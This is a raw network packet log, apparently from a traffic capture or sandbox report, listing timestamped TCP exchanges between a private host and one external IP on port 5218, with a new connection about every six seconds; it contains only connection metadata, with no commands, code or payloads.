May 25, 2022 16:31:21.760884047 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760899067 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760929108 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760938883 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760950089 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760976076 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761020899 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761029005 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761049986 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761066914 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761112928 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761159897 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761200905 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761205912 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.761218071 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761301041 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761324883 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.761507034 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:25.806765079 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:26.167922974 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:26.168268919 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:26.168468952 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:26.520873070 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:26.521138906 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:26.563673019 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:26.611419916 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:26.951535940 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:26.951910019 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:27.235407114 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:27.235672951 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:27.676968098 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:27.677258968 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:27.923754930 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:27.996694088 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:27.997087955 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.109714031 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.109800100 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.110105991 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.110204935 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.117016077 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.117101908 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.117347002 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.118769884 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.118858099 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.119010925 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.119075060 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.122610092 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.122704029 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.122767925 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.122828960 CEST	5218	49814	23.105.131.228	192.168.11.20
May 25, 2022 16:31:28.122872114 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.122925043 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:28.122998953 CEST	49814	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:32.111538887 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:32.395184040 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:32.395597935 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:32.395920038 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:32.759568930 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:32.759783030 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:32.811794996 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:32.812109947 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:33.138962030 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:33.139235973 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:33.404408932 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:33.404683113 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:33.785686016 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:33.785835028 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.157387972 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.220798969 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.221029043 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.329787016 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.329863071 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.330024958 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.330089092 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.331101894 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.331178904 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.331343889 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.331404924 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.331953049 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.332300901 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.332812071 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.332882881 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.333121061 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.333375931 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.333617926 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.334525108 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.334630013 CEST	5218	49815	23.105.131.228	192.168.11.20
May 25, 2022 16:31:34.334768057 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:34.334827900 CEST	49815	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:38.185003996 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:38.473725080 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:38.474077940 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:38.474205971 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:38.782001972 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:38.782126904 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:38.818454027 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:38.874293089 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:39.102710009 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:39.102936983 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:39.489589930 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:39.489857912 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:39.799252987 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:39.799508095 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.100142956 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.100383043 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.165543079 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165651083 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165738106 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165800095 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165842056 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.165884018 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165904045 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.165919065 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.165951967 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.165992022 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.166033030 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.166049957 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.166232109 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.166243076 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.166318893 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.166448116 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.166500092 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.194436073 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.194824934 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.327297926 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.438004971 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.438383102 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.439316988 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.439404964 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.439553022 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.439620018 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.441046953 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.441273928 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.448688984 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.448810101 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.448895931 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.448945045 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.448976994 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.449018955 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449043036 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.449140072 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449191093 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449214935 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449239969 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.449323893 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.449464083 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449516058 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.449640989 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.449879885 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.450908899 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.450980902 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.451133013 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.451210976 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.452233076 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.452325106 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.452379942 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.452446938 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.452502012 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.452505112 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.452632904 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.452668905 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.452703953 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.452878952 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:40.489352942 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.489417076 CEST	5218	49816	23.105.131.228	192.168.11.20
May 25, 2022 16:31:40.489797115 CEST	49816	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:44.472297907 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:44.732028008 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:44.732510090 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:44.732800961 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:45.051826954 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:45.052330971 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:45.092799902 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:45.093055964 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:45.345458984 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:45.345693111 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:45.723877907 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:45.724242926 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.034265995 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.034544945 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.330420971 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.330638885 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.470009089 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.470124006 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.470189095 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.470211029 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.470287085 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.470529079 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.479212999 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479321003 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479377985 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479450941 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479509115 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479561090 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.479717016 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.479787111 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.479835033 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.479852915 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.479963064 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.480184078 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.560230970 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.638353109 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.638673067 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.741395950 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741488934 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741566896 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741620064 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741651058 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.741693020 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741749048 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741820097 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.741867065 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.741918087 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.741986990 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.742108107 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.742279053 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.747457027 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747572899 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747632027 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747662067 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.747706890 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747766018 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747853994 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747915030 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747967958 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.747987986 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.747992992 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.747997999 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.748053074 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.748141050 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.748368979 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.748429060 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.748444080 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.753144979 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.753248930 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.753334045 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.753392935 CEST	5218	49817	23.105.131.228	192.168.11.20
May 25, 2022 16:31:46.753535032 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.753592014 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:46.753703117 CEST	49817	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:50.744700909 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:51.044639111 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:51.044850111 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:51.045279026 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:51.367156982 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:51.367361069 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:51.427825928 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:51.480856895 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:51.664918900 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:51.665241957 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:52.308875084 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:52.700987101 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:52.701042891 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:52.701193094 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:52.746258974 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:52.855880022 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:53.036936045 CEST	5218	49818	23.105.131.228	192.168.11.20
May 25, 2022 16:31:53.037190914 CEST	49818	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:56.882185936 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.191113949 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:57.191436052 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.191771984 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.563204050 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:57.563345909 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.634690046 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:57.635020971 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.891639948 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:57.891927004 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:57.933875084 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:58.242360115 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:58.242593050 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:58.557915926 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:58.558135986 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:58.992752075 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:58.993113041 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.026475906 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.136950016 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.137046099 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.137125015 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.137178898 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.137294054 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.137305975 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.137370110 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.137383938 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.137451887 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.138819933 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.138892889 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.139024973 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.139143944 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.139234066 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.139513016 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:59.159123898 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.159199953 CEST	5218	49819	23.105.131.228	192.168.11.20
May 25, 2022 16:31:59.159425020 CEST	49819	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.054985046 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.376188040 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:03.376585007 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.376766920 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.684832096 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:03.685015917 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.708672047 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:03.759479046 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:03.997961044 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:03.998310089 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:04.267744064 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:04.268003941 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:04.653331995 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:04.653927088 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:04.962850094 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:04.963063955 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.014384031 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.014451981 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.014647961 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.014758110 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015002012 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.015230894 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015388966 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015419960 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.015569925 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.015655041 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015712023 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015822887 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.015836954 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.015846968 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.016062021 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.016505003 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.016585112 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.016731024 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.016777039 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.259324074 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.268579006 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.268835068 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.276421070 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.276508093 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.276660919 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.276725054 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.277560949 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.277646065 CEST	5218	49820	23.105.131.228	192.168.11.20
May 25, 2022 16:32:05.277812004 CEST	49820	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:05.277875900 CEST	49820	5218	192.168.11.20	23.105.131.228
